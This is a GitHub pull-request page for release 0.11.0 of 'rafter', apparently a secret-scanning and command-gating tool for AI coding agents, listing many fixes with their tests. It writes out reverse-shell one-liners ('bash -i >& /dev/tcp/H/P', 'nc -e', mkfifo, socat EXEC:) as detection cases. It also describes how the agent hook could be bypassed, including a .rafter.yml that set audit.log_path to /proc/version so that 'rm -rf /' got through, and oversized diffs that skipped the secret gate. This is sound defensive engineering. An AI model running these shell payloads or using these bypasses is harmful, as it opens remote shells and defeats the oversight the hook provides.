Repository navigation
Conversation
Node: 2329 -> 2046 tests (99 -> 97 files), 178s -> 159s wall time. Python: 1758 -> 1662 tests (75 files), 60s -> 39s wall time. Same pre-existing failures before and after in both suites (none introduced by this change) — see PR/commit description for detail. Removed, by category: - Exact duplicates: same input/assertion tested twice under different names, within one language's suite (secret-patterns, custom-patterns, pattern-engine, risk-rules/risk-rules-comprehensive/bypass, command-interceptor/command-interceptor-policy, policy-loader/ policy-validation, audit-logger/audit-logger-lifecycle, issues, e2e-cli, scan-remote, api-scope, test_handle_403, agent-init/ agent-components). - Tests of a hand-copied mirror of production logic rather than the real code, where real-code coverage already exists elsewhere: claude-code-integration.test.ts (whole file — tests a function with a signature that doesn't exist in source), most of agent-compatibility.test.ts's reimplemented hook-dispatch blocks (Codex PreToolUse, both PostToolUse blocks, Cross-Agent Consistency, the fs-tautology "Environment Detection" block), the basic mcp-server.test.ts handler tests (superseded by mcp-server- integration/stdio's real-server tests), and the fake install-hook / write-secret-content duplicates in Python's test_hook_integration.py (superseded by test_agent_install_hook.py and test_hook.py, which import the real functions). - Vacuous or tautological assertions: if-guarded checks that pass whether or not the real behavior works, OR-conditions that always hold, try/except accepting any outcome, assertions on a literal the test just constructed, "contains X" checks guaranteed true by an already-asserted fixture, ANSI/emoji-absence checks implied by an adjacent exact-equality assertion. - Consolidation of near-duplicate per-variant tests into table-driven tests, same coverage at lower cost: platform-integration.test.ts's 8-platform MCP install/idempotency/preserve/corrupted-JSON/ not-detected matrices, risk-rules tier tables, policy-export/ command-interceptor-policy tier wiring, pattern-engine generic-key false-positive tables, formatter mode-difference tests, codex/ openclaw skill frontmatter checks, audit-skill high-risk pattern detection. - Dead golden-fixture files only read by the removed snapshot tests (directory-scan.json, positions-multi-pattern.json, both languages). - Cleaned up unused imports left behind by the above (Python, via ruff --fix --select F401). One non-deletion fix: python/tests/test_issues.py's TestParseNaturalText and its 8 dependent classes called a local mirror of _parse_natural_text because the import was simply missing, not because of any technical barrier (other private functions in the same file were already imported directly) — switched to importing and calling the real function, turning ~28 previously-fake tests into real coverage. Kept despite resembling the above: Node's policy-export.test.ts JSON/ TOML-shape tests, posttool.test.ts, baseline.test.ts's applyBaseline block, hook-formats.test.ts, and hook-integration.test.ts's install-hook tests — each is the only (if indirect) coverage of real dispatch logic that isn't exported for direct import, and Python has real coverage of the equivalent behavior that would otherwise create a parity asymmetry.
An adversarial review of the prune found these had no other coverage: - mcp-server-integration: version-from-package.json regression (41c0119) - skill-scanner: audit-skill unknown --engine exits 2 (CLI_SPEC contract, Node path separate from agent scan), --engine alias, and the deep-engine benign-skill false-positive guard - snapshot-scan (both runtimes) + directory-scan/positions goldens: the byte-identical goldens were an implicit Node/Python parity check - audit-logger-lifecycle: the only test that appends after a corrupt line, which exercises readLastLineHash on the hash chain
The command risk classifier had no reverse-shell patterns, so evaluate_command
rated bash -i >& /dev/tcp/H/P, nc -e, mkfifo|nc, socat EXEC:, and the
python/perl/ruby/node socket one-liners as low/allowed. In an agent-security
product that is a core false negative.
Add reverse-shell signatures, matched against the sanitized, lowercased command
like the existing tiers and folded into the critical set so they are hard-
blocked with no policy opt-out, with parity across Node and Python:
- /dev/tcp|udp net redirect, anchored to a redirect/separator so a real path
component (ls config/dev/tcp/) is not matched
- netcat exec flag: -e anywhere in a short cluster (-e/-ve/-nve) or
--exec/--sh-exec/--lua-exec (-c omitted: once case-folded it is OpenBSD -C)
- mkfifo/mknod named-pipe relay that also carries a shell, order-independent
- socat with an EXEC:/SYSTEM: program endpoint, not a plain relay
- an interpreter socket call (not the bare word, which is in --socket-path,
docker.socket, trace=socket) with either a spawn that names a shell, or a
generic exec/system plus socket-fd wiring (dup2/fileno/pipe/redirect). The
two halves are order-independent anchored lookaheads: this catches the
canonical Node.js payload that opens the socket after the spawn, stays
linear instead of O(n^2) on a crafted repeated-token input, and does not
hard-block a benign socket script that merely shells out with no wiring
- zsh zmodload zsh/net/tcp
- powershell/pwsh System.Net.Sockets.TCPClient
Checked against benign look-alikes with no false positive (nc -z, nc -C host 25,
socat - TCP:h:p, docker.socket, --socket-path ... /bin/bash, trace=socket
/bin/sh, ls config/dev/tcp/, a socket+subprocess health check, a socket server,
`import socket; print(...)`), and against pathological inputs up to ~2MB for
backtracking (linear in both engines). Documented fail-open limits: a payload
piped into a non-shell interpreter, a variable-split or base64/$() blob, and the
quoted-operand forms of php -r, socat exec:'...', gawk, telnet, rcat; base64-
into-shell still degrades to high.
Tests first, red before the fix, in both runtimes; two adversarial review passes,
every finding closed as a regression test.
Both CLIs share ~/.rafter/config.json. Python writes snake_case (backend.api_key, agent.risk_level) and already reads camelCase on load, but Node read keys verbatim, so a config written by `pip install rafter-cli` looked empty to the npm CLI: no API key, default risk level, default command policy. Normalize keys to camelCase on load, leaving component IDs under agent.components untouched.
`rafter secrets --json` wraps its results in an object
({_note, scan_mode, triage_applied, results}), but `rafter report`
still required a bare array, so the pipe its own help suggests,
`rafter secrets --json . | rafter report -o report.html`, failed with
"Expected a JSON array of scan results" in both runtimes. Read
`results` from the object, as `issues create --from-local` already
does, and point remote scan JSON at `rafter get --format md`.
CLI_SPEC said the command was Node-only; Python has had it for a while.
Both pattern engines rebuilt every regex for every line of every file: 73.8 million compiles on the argo-cd tree (5,247 files). Compile in the constructor and reuse; Node rewinds `lastIndex` on each use since the regexes are global. On argo-cd v3.5.3, `rafter secrets --engine patterns` drops from 27.8 s to 6.8 s in Node and from 139.5 s to 41.3 s in Python, with identical findings.
When the API marked a scan failed, `rafter run` printed "Scan failed" and nothing else, and `rafter get` exited 0 with no message. The API explains the failure: `error_code`, an `error` message, and whether it is `retryable` (e.g. SCAN_STALLED: "a fault on our side ... please re-run the scan"). All of that was discarded, and with `--format json` stdout was empty, so an agent could not tell a retryable backend fault from a problem with its repo. Print the code and message on stderr, add a re-run hint when the scan is retryable, write the payload to stdout in JSON mode, and exit 1 from `get` as well as `run`. Both runtimes; documented in CLI_SPEC.
The Python regex scanner's default excludes lacked vendor/, .venv/, venv/, .tox/, .pytest_cache/, results/, .terraform/ and bower_components/, and Node's lacked .ruff_cache/. On Grafana Loki, whose vendor/ holds the AWS SDK, `rafter secrets` reported 19,920 findings from pip and 271 from npm. Use one list in both.
…a failed scan as a finding `rafter agent scan --staged` read the diff with execFileSync at the default 1 MiB maxBuffer, so an ordinary large staged diff (lockfiles, generated or vendored files) threw ENOBUFS. The catch only handled a non-repo (git exit 128) and rethrew everything else, so the crash exited 1 — the same code a real finding uses — and a commit gate keying on the exit code reported a broken scan as a possible secret. Read the whole diff (256 MiB ceiling, overridable via RAFTER_GIT_DIFF_MAX_BUFFER for constrained hosts), and treat any failure to run the scan as a scan ERROR (exit 2, per the CLI_SPEC exit-code contract) with a clear message, distinct from a finding (exit 1), so a gate can tell "blocked for cause" from "scanner broke". A diff past even the ceiling now reports the error instead of crashing. Node-only defect: the Python engine already reads the full diff via subprocess.run with no cap and returns exit 2 on a git failure, so this restores Node/Python parity rather than changing it. Regression tests both runtimes: a >1 MiB staged diff scans clean, a real secret buried in a large diff still exits 1, and a scan that cannot read the diff exits 2 with the error message — all red on the unpatched Node code.
…dit` There is no top-level `rafter audit` command — it's `rafter agent audit`. Fixes the rafter skill router description and its cursor/windsurf/continue rule copies in both runtimes, plus a regression guard scanning both shipped resource trees for the stale form. Ref #231 (item 4a).
…scanned The pretool hook and `rafter agent exec` read the staged diff with execSync at Node's default 1 MiB maxBuffer, the same root cause as #274. Unlike `agent scan --staged`, they did not crash: their catch returned "no secrets", so any commit with a staged diff over 1 MiB skipped the secret gate silently and a secret in it was allowed through. Move gitDiffMaxBuffer() into utils/git-diff.ts and use it at all three readers. Also restore the runGitAddedLineScan doc comment the previous commit separated from its function. Python reads the diff with subprocess.run and has no cap. Regression test: a secret at the end of a >1 MiB staged diff is found by the hook's scanStagedFiles (red before: secretsFound false).
The PreToolUse approval message spliced the raw command into a double-quoted `rafter agent exec "<command>"` suggestion. A command containing `"`, `$`, or a backtick broke the quoting and, if pasted, could shell-expand instead of running the literal blocked command. Single-quote the command instead (shlex.quote in Python, a shared shellQuote helper in Node — same technique exec.ts already uses to reconstruct multi-arg commands), escaping embedded single quotes. Multi-line commands stay pasteable since single quotes preserve embedded newlines literally in POSIX sh. Ref #231 (item 5).
The previous commit raised the git diff buffer, but both readers still ended in a bare catch that returned "no secrets". A diff past the cap (or any other failure to read it) still let the commit through unscanned. Split "not a git repo" (skip, nothing to scan) from every other error. Inside a repo, a failed read now returns a scan error: the pretool hook denies the commit with a reason saying the scan could not run, and `agent exec` exits 2 (scan error, per CLI_SPEC) without running the command. Tests drive the built CLI with RAFTER_GIT_DIFF_MAX_BUFFER=1024 (red before: the hook allowed the commit; exec ran it).
`agent audit-skill` is deprecated in favour of `rafter skill review`, but --with-skill-scanner's help text and the update-skill-scanner command description still pointed at the deprecated command in both runtimes. Ref #231 (item 4b).
…ble-5b01) Tests that expect "no API key" read the developer's real ~/.rafter/config.json, so on a box with a key they created live remote scans. A vitest setup file and an autouse pytest fixture now point HOME at a temp dir, clear RAFTER_* vars, and aim the API base at a closed local port. RAFTER_TEST_LIVE_API=1 opts out for deliberate live runs. The API base is now read per call from RAFTER_API_URL, falling back to https://rafter.so/api/. A .env file cannot set it: env-guard already drops RAFTER_* vars that dotenv introduces, and the Python CLI loads no .env. Guard tests in both runtimes fail with the setup removed.
The pretool hook and `agent exec` ran `git diff --cached` without checking its return code, so a failed read looked like an empty diff and the commit was allowed unscanned. And with text=True, a non-UTF-8 diff raised UnicodeDecodeError: in the hook it escaped to the fail-open outer catch (commit allowed), in exec it crashed with a traceback. Same semantics as the Node fix: outside a repo, skip; inside one, a failed read denies the commit (hook) or exits 2 (exec). Decode with surrogateescape so a non-UTF-8 diff is still scanned. Tests: a corrupted index (git diff fails) and a Latin-1 file holding an AWS key (red before: hook allowed both; exec ran the commit, or crashed).
…ot a clean scan `rafter secrets <dir>` documents "respect .gitignore" as the default, but only the patterns walker honored it. The betterleaks branch passed the directory to `betterleaks dir`, which has no gitignore awareness: it walked node_modules and build output (slow enough to hit the fixed 60 s timeout on an ordinary checkout) and reported gitignored local secret stores such as .env (#262). The comment claiming betterleaks reads .gitignore natively was wrong. With respectGitignore on and the target inside a git work tree, hand betterleaks the file list from `git ls-files --cached --others --exclude-standard`, chunked to stay under the Windows command-line limit. File arguments stop betterleaks from auto-loading the target's .betterleaks.toml / .gitleaks.toml, so pass it with -c unless a config env var already selects one. Outside a git repo, with --no-gitignore, and for --history, the old single-directory call is unchanged. Warnings now name the cause ("timed out after 60s", "exit 2") instead of a generic "scan failed". Python also treated a timeout as an empty result, so `--engine betterleaks` reported a scan that never finished as clean; it now raises and falls back to patterns like Node, and that branch prints the fallback warning it was missing. Tests (both runtimes, fake betterleaks binary): gitignored files are skipped by default and scanned with --no-gitignore; the target's config is still applied; a timeout raises (Python). Red before the change.
readLastLineHash read a fixed 64 KB tail, so after an entry longer than that (a long intercepted command) the writer chained a hash of a line fragment while verify hashed the whole line, and every later `audit --verify` reported a false break. Read backwards in 64 KB chunks until the whole last line is in hand. Same fix in both runtimes. Fixes #271
… the real run (#231) `agent init` wrote a CLAUDE.md block telling agents to invoke rafter-skill-review but never installed that skill: it was missing from AGENT_SKILLS in both runtimes. It is now installed for Claude Code, Codex and Gemini alongside the other three. The --dry-run plan disagreed with the real run in four ways, all fixed in both runtimes: - it listed rafter-skill-review (now actually installed); - it listed <root>/.mcp.json at user scope, where only the project-scope install writes it, and as WRITE even when claude-code.mcp is disabled (now SKIP with the reason); - it listed a betterleaks DOWNLOAD when an existing binary on PATH or in ~/.rafter/bin would be reused (now SKIP naming that binary); - it omitted Claude Code under --with-claude-code when ~/.claude did not exist, though the real run installs it. Python's `agent init --with-codex` never wrote .codex/hooks.json, so Python installs had no Codex gate while the plan claimed one. It now installs the same Bash|apply_patch PreToolUse/PostToolUse hooks as Node. New parity tests run the dry run and the real run against one fresh HOME and require every planned write to land and every installed skill to have been planned, plus a SKIP control.
`agent verify`'s summary line counted every undetected optional platform integration (9 of them on a typical machine) as a "core check", printing e.g. "3/12 core checks passed" for a healthy install with only Claude Code configured. The 9 were in the denominator and called "core" in the same breath as "optional". Now the denominator excludes checks whose platform isn't present at all, and those are reported separately as "optional integrations not detected" rather than lumped into "optional checks not configured". Also: `agent init --all` printed a "requested but not detected" warning for every undetected platform even though `--all` means "install all DETECTED integrations" per its own --help text, burying the warnings that matter. The warning now fires only for an explicit --with-<platform> flag.
`rafter secrets .` (and `agent scan`, and --watch) printed "Scanning directory: <path> (both)" with no explanation of what "both" means. Label it "both: betterleaks + patterns" via a shared engineLabel/_engine_label helper; single-engine labels are unchanged. Still on stderr. No pinned string in CLI_SPEC.md or the existing test suite referenced the old text. Ref #231 (item 6).
…le-5b01) Every request carries the API key. A plain-http remote override is now ignored with a warning, and a remote https override prints a one-time notice naming the host the key goes to. Loopback http stays silent so the test isolation setup works unchanged.
…e-z5i4) runConfiguredHook passes the payload on stdin. A hook that exits without reading it makes the write fail with EPIPE on a few percent of spawns, though status and stdout are intact. That was treated as a spawn error, so agent verify could report a working hook as inert and the liveness test flaked in CI (run 37453753093).
`rafter secrets` runs betterleaks and the regex patterns and merges the results, but the merge keyed on (line, column, matched text), so it almost never merged. The engines extract different text for one secret (betterleaks a whole PEM block, the pattern only its header), and betterleaks 1.1.x reports StartColumn one past the true column on every line but the first. On 21 large open-source repos, 1,466 findings were an extra report on a line that already had one; with this change, 76. Report betterleaks columns as 1-based like the regex engine, and treat two findings at the same line and column as one secret. Findings without a position keep the old text-based key. Baselines match on file, line and pattern, so existing baselines still apply.
Redaction kept the first and last four characters and masked every character between them. betterleaks returns a whole PEM block as the secret and JWTs run to hundreds of characters, so one finding could print a line of 1,700 asterisks in text and JSON output. Cap the mask at 16 in both engines and both runtimes; the snapshot goldens change only in their `redacted` fields.
The MCP suppress_finding tool writes an ignore rule into .rafter.yml and told the agent the finding would move under `_suppressed`, but scan_secrets never applied suppressions, so the next scan reported the same finding again and the triage loop could not converge. `rafter secrets` applied them all along. Apply the same .rafter.yml ignore and .rafterignore rules in scan_secrets (both runtimes), and correct the suppress_finding description: suppressed findings drop out of scan_secrets and are listed under `_suppressed` by `rafter secrets --json`.
The Python policy loader caught only YAMLError and OSError. A file that was well-formed YAML but crashed the mapper (a null custom_patterns entry) or was not valid UTF-8 raised out of load_policy. In the pretool hook that reached the fail-open outer catch, so a commit with a staged secret was ALLOWED; `secrets --staged` crashed with exit 1. Any load failure now warns with the file path and the error and drops the whole policy, so the scan runs on defaults and no partial ignore rule can apply. The Node loader already behaved this way; its tests lock that in and were checked to fail when the loader rethrows or keeps the parts it could read. A genuine staged-diff read failure still blocks the commit (#274). CHANGELOG [Unreleased] covers the whole #274 branch.
Both loaders dropped a non-list `rules` value and kept the entry, so `rules: "AWS Access Key"` became a rule suppressing every pattern in its paths. Skip the entry with a warning instead; a malformed suppression now yields more findings, never fewer.
Commands call process.exit() right after writing their results. When stdout is a pipe, Node writes asynchronously and exit drops whatever is still queued, so piped output stopped at 64 KiB or 128 KiB: `rafter secrets --json . | rafter report` and `rafter get <id> -f json | jq` got truncated JSON (91,564 -> 65,536 and 551,765 -> 65,536 bytes on two real repos). Writing to a file, or the Python CLI, was fine. Make stdout and stderr blocking at startup so exit cannot drop output.
The backend marks a scan SCAN_PARTIAL when some of its scanners did not finish (e.g. the curated rule pack timing out on a large repo), yet the CLI reported such a scan as plainly completed, so a user could read a partial result as clean. When the API sends `partial: true` or `warning_code: "SCAN_PARTIAL"`, warn on stderr, even with --quiet, and name `missing_scanners` when given. Exit code and payload are unchanged. Both runtimes; documented in CLI_SPEC. (securable sb-w46v)
# Conflicts: # python/tests/test_report.py
# Conflicts: # node/tests/scan-remote.test.ts
…AMPLE exemption fix/scan-exclude-parity and fix/mcp-scan-honors-suppressions added tests that rely on AKIAIOSFODNN7EXAMPLE being detected. Since #230 exempts keys ending in EXAMPLE, swap them to AKIAIOSFODNN7ABCDEFG. Restore the os import in test_regex_scanner.py, which the test purge removed and the exclude-parity test needs.
Bump node, python and both ClawHub skill manifests 0.10.6 -> 0.11.0, and record what this release ships: 28 fixes from two triage passes over the open external issues (#230, #231, #262, #271, #274) and a benchmark of the secrets engines on large open-source repositories. Minor version, not patch: several fixes change behavior (see the CHANGELOG's Behavior change notes).
The tests picked rafter's entries out of hooks.json by looking for "rafter" in the command, which is the path to the CLI. Run from a checkout whose path lacks that word, they found nothing and failed. Match the hook subcommand instead.
RegexScanner.scanDirectory() returns [] for a file path instead of throwing, so the scanFile fallback never ran and MCP scan_secrets reported nothing for a single file. Choose by fs.statSync().isFile(), as the Python server already behaves.
Since #262 the betterleaks scanner raises RuntimeError for a timeout or a failed run. The MCP auto-mode handler caught only TimeoutExpired, OSError and JSONDecodeError, so a timeout surfaced as a tool error instead of degrading to the patterns engine. Catch RuntimeError too, matching Node, which falls back on any betterleaks error.
Every deny branch in the PreToolUse hook wrote to the audit log before returning. A write that threw (an unwritable log path) reached the outer catch, which answered allow; a repo's .rafter.yml could set audit.log_path to /proc/version and get `rm -rf /` through, in both runtimes. - AuditLogger.log never throws: failures warn once on stderr. - A project .rafter.yml can no longer set audit.log_path (ignored with a warning); it was also a file-append primitive into any user file. Only the global config sets it. Behavior change. - The pretool's outer catch now denies a high/critical Bash command or a git commit/push; other tool calls still fail open.
scan_secrets now honors .rafter.yml ignore rules and .rafterignore but
left no trace of what it hid, so a cloned repo with
`ignore: [{paths: ["**"]}]` silently emptied every scan for the agent.
When any finding is suppressed, add a second content block
{suppressed_count, _suppressed: [...]} carrying the same metadata
`rafter secrets --json` lists (file, line, column, rule, severity,
reason, source; no secret text). The first block stays the results
array, so existing clients are unaffected. Tool descriptions and
CLI_SPEC say so.
The pipe-truncation fix set both stdout and stderr blocking. A client that launches `rafter mcp serve` with stderr piped but never read then froze the whole server once the stderr pipe buffer filled. Keep stdout blocking, which is what fixes truncated piped JSON, and leave stderr alone. The existing truncation e2e test stays green.
The auto-mode union dedups by position and keeps the betterleaks rule name, so a rule-scoped suppression for that name also hid the patterns-engine finding at the same spot. Record every engine's rule name on the merged match (ruleNames / rule_names) and suppress it only when each one has a matching suppression. Both runtimes; output formats are unchanged.
Any /dev/tcp or /dev/udp redirect rated CRITICAL with no opt-out, so the read-only wait-for-port idiom `timeout 1 bash -c '</dev/tcp/h/p'` was hard-blocked. Require the reverse-shell shape instead: output redirection or fd duplication onto the socket (`>`, `>&`, `&>`, `<>`, `<&`), a shell reading its program from it (`bash < /dev/tcp/...`), or an interactive shell beside it. Every existing reverse-shell case stays critical; `exec 3<>/dev/tcp/h/p` and two more forms are added as regressions, and the idiom plus `cat < /dev/tcp/...` as benign cases. Both runtimes.
SITES_API_BASE was built from API_BASE at import time, so the Sites CLI and MCP tools always hit the production base and ignored RAFTER_API_URL. Build the URL per call through api_url(), as every other command does.
…ning `', '.join(missing)` raised TypeError when the API listed a non-string scanner entry, turning a warning into a crash. Stringify each entry. Node's Array.join already coerces, so it needs no change.
An exception anywhere in the decision path now denies the call, for every tool, with "rafter hook error: <type>: <msg>; denying to be safe" on stderr and as the deny reason. Input that is not a JSON object is still allowed, and loader-handled conditions (a malformed .rafter.yml) are not errors. The decision logic moves into decidePretool / decide_pretool so each stage can be made to throw in-process: config load, policy load, risk classification and audit write each have a test that uses a call allowed when nothing throws. A test also checks that a repo's audit.log_path cannot append to an existing ~/.bashrc. CHANGELOG: Security now leads the 0.11.0 section and names the affected versions (0.7.2 through 0.10.6).
…not to none With a .rafter.yml the loader warns about and skips, rm -rf / and a curl | sh are still denied, and the parse warning is on stderr. The curl | sh case is the one that depends on the default policy: with the default command policy emptied to allow-all, it fails.
The raw string r"...[\s(\[{\"']..." keeps the backslash, so Python's
pattern read [\s(\[{\"'] where Node's reads [\s(\[{"']. Both regexes
match the same inputs, but the exported blocked-pattern lists differ
and the cross-runtime parity test fails in CI. Use a triple-quoted raw
string so the double quote needs no escape and the text is identical.
The test asserted "3/3 core checks passed", which held only on machines with betterleaks installed. CI runners have none, so Betterleaks failed and verify printed 2/3. Put a stand-in betterleaks at the managed path in the test HOME and keep any real one off PATH, so the count reflects what #231 fixed (applicable checks only, not 3/12) on every machine.
Typer forces Rich colour when GITHUB_ACTIONS or FORCE_COLOR is set, and Rich styles "-" and "-deep" as separate spans, so CI's help output never contains the literal "skill review --deep". Strip escape codes before matching, and assert the help command exited 0, so both tests check the same words with or without colour.
The isolation setup cleared every RAFTER_* variable, including the RAFTER_API_KEY that CI exports from its secret, so tests/backend-api skipped in CI and the floor check failed the job. Move an exported key to RAFTER_TEST_BACKEND_KEY, which only that file reads. A key stored in ~/.rafter/config.json is still never used.
The test purge (#272) removed the file's two offline checks, which duplicated api-no-redirect. Its remaining tests need RAFTER_API_KEY, which is not set on this repo, so the floor check failed test-node for a file that has always skipped in CI. List it as a reviewed exception.
On macOS os.tmpdir() sits under /var, a symlink to /private/var. The CLI reports paths from its resolved cwd, so the #231 plan-parity test and the gemini-link test (already failing on main) compared /var/... with /private/var/... and failed on the macOS runners. Reproduced on Linux with TMPDIR pointing through a symlink.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Release candidate for 0.11.0, for review before merge.
Do not merge, tag or publish until it has been reviewed. The second testing pass is complete; results are under Tests.
It integrates 23 branches on top of main (eda0fab): the test purge from #272, 10 fix branches from the external-issue triage (#230, #231, #262, #271, #274) and internal bugs, 10 fixes from benchmarking the secrets engines on large open-source repositories, and 2 branches fixing what the second-pass review found.
Node, Python and both skill manifests are bumped 0.10.6 → 0.11.0, and the CHANGELOG has the full user-facing list.
It is a minor version because several fixes change behavior; those are marked below.
Closes a security gap
.rafter.ymlcould pointaudit.log_pathat an unwritable file; the failed write fell into the hook's error handler, which allowed the call.audit.log_pathis now honored only from~/.rafter/config.json, an audit-write failure is reported on stderr and never changes a decision, and any unexpected error in the hook now denies the call (it used to allow). A malformed.rafter.ymlis not an error: it warns and the default rules apply, which still block dangerous commands.rafter agent execread the staged diff with a 1 MiB buffer and treated a failed read as "no secrets", so any commit over 1 MiB went through unscanned. Diffs are now read in full, and a diff that cannot be read blocks the commit (rafter agent scan --stagedcrashes withspawnSync git ENOBUFSon staged diffs over 1 MiB, and the failure presents as a secrets finding #274)..rafter.ymlcould let a secret through in the Python CLI. A config that can't be loaded now prints a warning and the scan runs with the default settings; none of the file's rules apply, so a broken file cannot suppress a finding. Anignoreentry whoserulesis a string no longer suppresses every pattern.evaluate_commandand the command hook. They are now critical in both runtimes (bash/dev/tcp,nc -e,mkfifo, Python, Perl, Node, PowerShell).agent init --with-codexnever installed the Codex hooks (agent init --all: installs a CLAUDE.md reference to a skill it skips;--dry-runover-reports the plan; assorted doc/UX inaccuracies #231), so Python installs had no Codex gate.rafter secrets: Betterleaks directory scan hits the fixed 60 s timeout on a normal Next.js checkout and silently falls back to the regex engine; the Betterleaks branch also ignores .gitignore #262). It now falls back to the patterns engine.$(…)substitution (agent init --all: installs a CLAUDE.md reference to a skill it skips;--dry-runover-reports the plan; assorted doc/UX inaccuracies #231).scan_secretsignored the project's suppressions, so an agent's triage loop never converged. It now applies them and lists what it suppressed (count, rule, file, source; no secret text) in a second result block.scan_secretsreturned nothing for a single file in the Node CLI.Fixes wrong or lost output
rafter secrets --json . | rafter report,rafter get -f json | jq).rafter reportrejected the JSON thatrafter secrets --jsonprints.rafter run/getnow say why a scan failed, and warn when a completed scan is partial (the backend's SCAN_PARTIAL; inert until securable-bolt False positive: rule R-E98AA flags every text-type input as a missing email field (incl. non-email fields) #178 deploys).agent init --all,--dry-runandagent verifymatch what is installed (agent init --all: installs a CLAUDE.md reference to a skill it skips;--dry-runover-reports the plan; assorted doc/UX inaccuracies #231);agent verifyno longer flags a working hook as inert at random.Behavior changes
AKIAIOSFODNN7EXAMPLEand other AWS key IDs ending inEXAMPLEare no longer reported by the patterns engine, matching betterleaks (False positives: heredoc bodies scanned as executable commands, and the regex secret engine lacks betterleaks' documentation-credential allowlist #230)..gitignore, so MCPscan_secretsandbaselineno longer report secrets in gitignored files (rafter secrets: Betterleaks directory scan hits the fixed 60 s timeout on a normal Next.js checkout and silently falls back to the regex engine; the Betterleaks branch also ignores .gitignore #262).vendor/,.venv/,venv/,.tox/,.terraform/and similar by default, matching Node.rafter getexits 1 for a failed scan, asrafter runalready did./dev/tcpalone (thebash -c '</dev/tcp/host/port'wait-for-port idiom) is no longer treated as a reverse shell; writing to it or duplicating file descriptors onto it still rates critical.RAFTER_API_URLoverride, accepted only over https or loopback http, with a notice naming the host when it points elsewhere.Speed
Tests
~/.rafter/config.jsonor call the live backend; before this, a test run on a machine with a stored key started real remote scans.audit.log_pathat a fake~/.bashrcand the file stays unchanged./private/varpaths, including the gemini-link test that also fails on main) and listedbackend-api.test.tsas allowed to skip, since this repo has noRAFTER_API_KEYsecret.bash -i >& /dev/tcp/h/p 0>&1,exec 3<>/dev/tcp/h/p,nc -e, mkfifo shell: critical;bash -c '</dev/tcp/h/p': low.Risks
audit.log_pathin a project.rafter.ymlis now ignored (with a warning); such projects log to the global location.AKIAIOSFODNN7ABCDEFGreplaces the docs example key in about 40 test files. GitHub accepted the push, but the repo's secret-detection CI job has not run on it yet.…EXAMPLEkeys; it is not part of this release.--engine betterleaksno longer scans submodule contents, since it now gets git's file list (follow-up bead).Supersedes #272 once merged; the individual fix branches are pushed for reference.